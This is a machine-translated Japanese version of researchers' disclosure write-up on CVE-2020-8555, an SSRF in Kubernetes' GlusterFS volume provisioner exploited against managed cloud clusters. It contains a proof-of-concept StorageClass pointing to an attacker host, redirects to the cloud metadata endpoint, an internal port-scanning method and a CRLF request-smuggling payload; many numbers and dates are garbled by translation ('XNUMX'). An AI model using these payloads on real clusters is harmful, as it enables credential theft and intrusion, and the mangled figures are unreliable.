Kubernetes の脆弱性だけが問題ではない場合...

ノート。 翻訳。: この記事の著者は、どのようにして脆弱性を発見できたのかについて詳しく話しています。 CVE-2020–8555 Kubernetesで。 当初はそれほど危険ではないと思われましたが、他の要因と組み合わせることで、一部のクラウド プロバイダーにとってその重大度は最大であることが判明しました。 いくつかの組織は、専門家の仕事に対して寛大な報酬を与えました。

私たちは誰ですか

私たちはフランスのセキュリティ研究者 XNUMX 人で、共同で Kubernetes の脆弱性を発見しました。 私たちの名前は Brice Augras と Christophe Hauquiert ですが、多くの Bug Bounty プラットフォームではそれぞれ Reeverzax と Hach として知られています。

• ブライス・オーグラス - アステングループ会社;
• クリストフ・オーキエット - Nokia の Kubernetes アーキテクト。

何が起こったのか？

この記事は、平凡な研究プロジェクトが予期せぬ形でバグハンターの人生で最もエキサイティングな冒険に変わった経緯を (少なくとも現時点では) 共有する方法です。

おそらくご存知のとおり、バグ ハンターにはいくつかの注目すべき機能があります。

• 彼らはピザとビールで生きています。
• 彼らは他の人が眠っているときに働きます。

私たちもこれらのルールの例外ではありません。私たちは通常、週末に集まり、眠れない夜をハッキングして過ごします。 しかし、そのうちのある夜は非常に珍しい形で終わりました。

当初は、参加について話し合うために会う予定でした。 CTF 次の日。 マネージド サービス環境における Kubernetes のセキュリティについての会話中に、私たちは SSRF の古いアイデアを思い出しました (サーバー側のリクエスト偽造) を攻撃スクリプトとして使用してみることにしました。

午後 11 時に私たちは調査のために座って、結果に非常に満足して朝早くに就寝しました。 この調査のおかげで、私たちは MSRC バグ報奨金プログラムに出会い、特権昇格のエクスプロイトを思いつきました。

数週間/数か月が経過し、予想外の結果により、Kubernetes から受け取った報酬に加えて、Azure Cloud Bug Bounty の歴史の中で最高の報酬の XNUMX つが得られました。

私たちの調査プロジェクトに基づいて、Kubernetes 製品セキュリティ委員会は、 CVE-2020–8555.

今後は発見された脆弱性について可能な限り情報を拡散していきたいと考えています。 技術的な詳細を見つけて、infosec コミュニティの他のメンバーと共有していただければ幸いです。

さて、ここからは私たちの話です...

コンテキスト

何が起こったのかを最も理解するために、まずクラウド管理環境で Kubernetes がどのように動作するかを見てみましょう。

このような環境で Kubernetes クラスターをインスタンス化する場合、管理レイヤーは通常、クラウド プロバイダーの責任になります。

制御層はクラウドプロバイダーの境界に配置され、Kubernetes ノードは顧客の境界に配置されます。

ボリュームを動的に割り当てるには、外部ストレージ バックエンドからボリュームを動的にプロビジョニングし、PVC (永続ボリューム要求、つまりボリュームの要求) と比較するメカニズムが使用されます。

したがって、PVC が作成され、K8s クラスター内の StorageClass にバインドされた後、ボリュームを提供するためのさらなるアクションが kube/クラウド コントローラー マネージャー (正確な名前はリリースによって異なります) によって引き継がれます。 (ノート。 翻訳。: クラウド プロバイダーの XNUMX つに対する CCM の実装例を使用して、CCM について詳しく説明しました。 ここで.)

Kubernetes でサポートされるプロビジョナーにはいくつかの種類があります。それらのほとんどは、 オーケストレーターコア他のものは、クラスター内のポッドに配置された追加のプロビジョナーによって管理されます。

私たちの調査では、以下に示す内部ボリューム プロビジョニング メカニズムに焦点を当てました。

組み込みの Kubernetes プロビジョナーを使用したボリュームの動的プロビジョニング

つまり、Kubernetes が管理された環境にデプロイされている場合、コントローラー マネージャーはクラウド プロバイダーの責任ですが、ボリューム作成リクエスト (上図の 3 番) はクラウド プロバイダーの内部ネットワークから送信されます。 ここからが本当に興味深いことになります。

ハッキングシナリオ

このセクションでは、上記のワークフローを利用してクラウド サービス プロバイダーの内部リソースにアクセスする方法を説明します。 また、内部認証情報の取得や権限の昇格など、特定のアクションを実行する方法も示します。

8 つの簡単な操作 (この場合はサービス側のリクエスト フォージェリ) により、クライアント環境を超えて、管理対象の KXNUMX 下のさまざまなサービス プロバイダーのクラスターに侵入することができました。

私たちの調査では、GlusterFS プロビジョナーに焦点を当てました。 この文脈ではさらに一連のアクションが説明されていますが、Quobyte、StorageOS、および ScaleIO は同じ脆弱性の影響を受けます。

動的ボリュームプロビジョニングメカニズムの悪用

ストレージクラス分析中 GlusterFS Golang クライアントのソースコードでは、 気づいたボリュームの作成中に送信される最初の HTTP リクエスト (3) で、パラメータ内のカスタム URL の末尾に送信されるもの resturl 追加されます /volumes.

を追加することで、この追加のパスを削除することにしました。 # パラメータで resturl。 これは、セミブラインド SSRF 脆弱性のテストに使用した最初の YAML 構成です。 (半盲検または半盲検 SSRF について詳しく読むことができます。たとえば、 ここで — 約翻訳）:

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

次に、バイナリを使用して Kubernetes クラスターをリモートで管理しました キューブクル。 通常、クラウド プロバイダー (Azure、Google、AWS など) により、このユーティリティで使用する資格情報を取得できます。

おかげで、「特別な」ファイルを使用することができました。 Kube-controller-manager は、結果の HTTP リクエストを実行しました。

kubectl create -f sc-poc.yaml

攻撃者の視点から見た答え

この直後、コマンドを介してターゲット サーバーから HTTP 応答を受信することもできました。 describe pvc または get events kubectlで。 そして確かに、このデフォルトの Kubernetes ドライバーは、警告/エラー メッセージが冗長すぎます...

以下はへのリンクを含む例です https://www.google.frパラメータとして設定 resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

このアプローチでは、次のようなクエリに限定されていました。 HTTPPOST 戻りコードが次の場合、応答本文の内容を取得できませんでした。 201。 したがって、私たちは追加の調査を実施し、このハッキング シナリオを新しいアプローチで拡張することにしました。

私たちの研究の進化

• 高度なシナリオ #1: 外部サーバーからの 302 リダイレクトを使用して HTTP メソッドを変更し、内部データを収集するためのより柔軟な方法を提供します。
• 高度なシナリオ #2: LAN スキャンと内部リソース検出を自動化します。
• 高度なシナリオ #3: HTTP CRLF + 密輸 (「リクエスト密輸」) を使用して、カスタマイズされた HTTP リクエストを作成し、kube コントローラーのログから抽出されたデータを取得します。

技術仕様

• この調査では、北ヨーロッパ リージョンで Azure Kubernetes Service (AKS) と Kubernetes バージョン 1.12 を使用しました。
• 上記のシナリオは、1.12 番目のシナリオを除き、Kubernetes の最新リリースで実行されました。 Golang バージョン XNUMX 以下で構築された Kubernetes が必要でした。
• 攻撃者の外部サーバー - https://attacker.com.

高度なシナリオ #1: HTTP POST リクエストを GET にリダイレクトし、機密データを受信する

元の方法は、攻撃者のサーバーの構成によって改善されました。 302 HTTP 再コードPOST リクエストを GET リクエストに変換するには (図のステップ 4):

クライアントからの最初のリクエスト (3) GlusterFS (コントローラーマネージャー)、POST タイプを持ちます。 次の手順に従うことで、それを GET に変換することができました。

• パラメータとして resturl StorageClassではそれが示されています http://attacker.com/redirect.php.
• エンドポイント https://attacker.com/redirect.php 次の場所ヘッダーを含む 302 HTTP ステータス コードで応答します。 http://169.254.169.254。 これは他の内部リソースにすることもできます。この場合、リダイレクト リンクは例としてのみ使用されます。
• Поумолчанию net/http ライブラリ Golang はリクエストをリダイレクトし、POST を 302 ステータス コードを含む GET に変換し、ターゲット リソースへの HTTP GET リクエストが生成されます。

HTTP 応答本文を読み取るには、次のことを行う必要があります。 describe PVC オブジェクト:

kubectl describe pvc xxx

以下は、受信できた JSON 形式の HTTP 応答の例です。

この時点で発見された脆弱性は、以下の点により機能が制限されていました。

• 送信リクエストに HTTP ヘッダーを挿入できない。
• 本文にパラメータを含む POST リクエストを実行できない (これは、上で実行されている etcd インスタンスからキー値をリクエストするのに便利です) 2379 暗号化されていない HTTP が使用されている場合はポート)。
• ステータス コードが 200 で、応答に JSON Content-Type が含まれていない場合、応答本文のコンテンツを取得できません。

高度なシナリオ #2: ローカル ネットワークのスキャン

次に、このハーフブラインド SSRF メソッドを使用して、クラウド プロバイダーの内部ネットワークをスキャンし、応答に基づいてさまざまなリスニング サービス (メタデータ インスタンス、Kubelet、etcd など) をポーリングしました。 キューブコントローラー.

まず、Kubernetes コンポーネントの標準リスニング ポート (8443、10250、10251 など) を決定し、次にスキャン プロセスを自動化する必要がありました。

リソースをスキャンするこの方法は非常に特殊であり、従来のスキャナーや SSRF ツールと互換性がないことを確認して、プロセス全体を自動化する独自のワーカーを bash スクリプトで作成することにしました。

たとえば、内部ネットワークの範囲 172.16.0.0/12 を迅速にスキャンするために、15 個のワーカーが並行して起動されました。 上記の IP 範囲は例としてのみ選択されており、特定のサービス プロバイダーの IP 範囲に応じて変更される可能性があります。

XNUMX つの IP アドレスと XNUMX つのポートをスキャンするには、次の手順を実行する必要があります。

• 最後にチェックした StorageClass を削除します。
• 以前に検証された Persistent Volume Claim を削除します。
• IP とポートの値を変更します sc.yaml;
• 新しい IP とポートを使用して StorageClass を作成します。
• 新しい PVC を作成します。
• PVC の記述を使用してスキャン結果を抽出します。

高度なシナリオ #3: CRLF インジェクション + Kubernetes クラスターの「古い」バージョンでの HTTP の密輸

これに加えて、プロバイダーがクライアントに古いバージョンの K8s クラスターを提供した場合 и kube-controller-manager のログへのアクセスを許可すると、その影響はさらに顕著になりました。

確かに、攻撃者にとっては、完全な HTTP 応答を取得するように設計された HTTP 要求を自分の裁量で変更する方がはるかに便利です。

最後のシナリオを実装するには、次の条件を満たす必要がありました。

• ユーザーは、kube-controller-manager ログ (たとえば、Azure LogInsights など) にアクセスできる必要があります。
• Kubernetes クラスターでは、Golang の 1.12 より前のバージョンを使用する必要があります。

GlusterFS Go クライアントと偽のターゲット サーバー間の通信をシミュレートするローカル環境をデプロイしました (現時点では PoC の公開は控えます)。

発見された 脆弱性、Golang 1.12 より前のバージョンに影響し、ハッカーが HTTP 密輸/CRLF 攻撃を実行できるようになります。

上記の半盲検SSRFを組み合わせることで вместе これにより、ヘッダー、HTTP メソッド、パラメーター、データの置換など、希望どおりのリクエストを送信して、kube-controller-manager が処理できるようになりました。

これはパラメータで機能する「おとり」の例です。 resturl StorageClass は、同様の攻撃シナリオを実装します。

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

結果はエラーです 未承諾の応答、それに関するメッセージがコントローラのログに記録されます。 デフォルトで有効になっている冗長性のおかげで、HTTP 応答メッセージの内容もそこに保存されます。

これは、概念実証の枠組み内で最も効果的な「おとり」でした。

このアプローチを使用すると、さまざまなマネージド k8s プロバイダーのクラスターに対して次の攻撃の一部を実行できました。メタデータ インスタンスの認証情報を使用した権限昇格、etcd マスター インスタンスの (暗号化されていない) HTTP リクエストを介したマスター DoS などです。

余波

私たちが発見した SSRF 脆弱性に関する Kubernetes 公式声明では、次のように評価されています。 CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N。 Kubernetes 境界に関連する脆弱性のみを考慮すると、整合性ベクトルは (整合性ベクトル) それは次のようになります なし.

しかし、管理されたサービス環境のコンテキストで考えられる結果を評価することにより (これが私たちの調査で最も興味深い部分でした!)、脆弱性を評価に再分類することになりました。 クリティカル CVSS10/10 多くのディストリビューターにとって。

以下は、クラウド環境における潜在的な影響を評価する際の考慮事項を理解するのに役立つ追加情報です。

誠実さ

• 取得した内部認証情報を使用してコマンドをリモートで実行します。
• ローカル ネットワーク上にある他のリソースを使用して IDOR (Insecure Direct Object Reference) メソッドを使用して上記のシナリオを再現します。

Конфиденциальность

• 攻撃タイプ 横方向の動き クラウド認証情報 (メタデータ API など) の盗難が原因です。
• ローカル ネットワークをスキャンして情報を収集します (SSH バージョン、HTTP サーバー バージョンなどを確認します)。
• メタデータ API (http://169.254.169.254、…）。
• クラウド認証情報を使用して顧客データを盗みます。

可用性

の攻撃ベクトルに関連するすべてのエクスプロイト シナリオ 誠実さ、破壊的なアクションに使用される可能性があり、クライアント境界 (またはその他) のマスター インスタンスが使用できなくなる可能性があります。

私たちは管理された K8s 環境にいて、整合性への影響を評価していたため、可用性に影響を与える可能性のある多くのシナリオが想像できます。 その他の例には、etcd データベースの破損や、Kubernetes API への重要な呼び出しの実行などが含まれます。

年表

• 6 年 2019 月 XNUMX 日: MSRC Bug Bounty に脆弱性が報告されました。
• 3 年 2020 月 XNUMX 日: サードパーティは、Kubernetes 開発者に、セキュリティ問題に取り組んでいることを通知しました。 そして、SSRF を内部 (コア内) の脆弱性として考慮するよう依頼しました。 その後、問題の原因に関する技術的な詳細を含む一般的なレポートを提供しました。
• 15 年 2020 月 XNUMX 日: Kubernetes 開発者のリクエストに応じて、技術レポートと一般レポートを (HackerOne プラットフォーム経由で) 提供しました。
• 15 年 2020 月 8 日: Kubernetes 開発者は、過去のリリースのハーフブラインド SSRF + CRLF インジェクションがコア内の脆弱性とみなされると通知しました。 私たちは他のサービスプロバイダーの境界の分析を直ちに中止しました。現在、KXNUMXs チームは根本原因に対処しています。
• 15 年 2020 月 XNUMX 日: HackerOne を通じて MSRC 報酬を受け取りました。
• 16 年 2020 月 XNUMX 日: Kubernetes PSC (製品セキュリティ委員会) はこの脆弱性を認識し、多数の潜在的な被害者が発生する可能性があるため、XNUMX 月中旬まで秘密にしておくよう求めました。
• 11年2020月XNUMX日：Google VRP報酬を受け取りました。
• 4 年 2020 月 XNUMX 日: HackerOne を通じて Kubernetes の報酬を受け取りました。
• 15 年 2020 月 19 日: 新型コロナウイルス感染症の状況により、当初予定されていた公開は延期されました。
• 1 年 2020 月 XNUMX 日: この脆弱性に関する Kubernetes + Microsoft の共同声明。

TL; DR

• 私たちはビールを飲み、ピザを食べます:)
• 意図はありませんでしたが、Kubernetes のコア内脆弱性を発見しました。
• さまざまなクラウド プロバイダーのクラスターに対して追加の分析を実施し、脆弱性によって引き起こされる被害を拡大し、追加の素晴らしいボーナスを受け取ることができました。
• この記事には技術的な詳細がたくさん記載されています。 喜んでご相談させていただきます (Twitter: @ReeverZax & @__hach_).
• あらゆる種類の手続きと報告に予想よりもはるかに時間がかかることが判明しました。

リファレンス

• Google グループ kubernetes-security-announce;
• CVE-2020-8555;
• golang 問題 #30794;
• heketi/client/api/go-client/volume.go.

翻訳者からの追伸

私たちのブログもお読みください:

• «Kubernetes のバグハントが正式にオープン";
• «ログをマウントして Kubernetes のポッドを終了する";
• «33 以上の Kubernetes セキュリティ ツール'。

出所： habr.com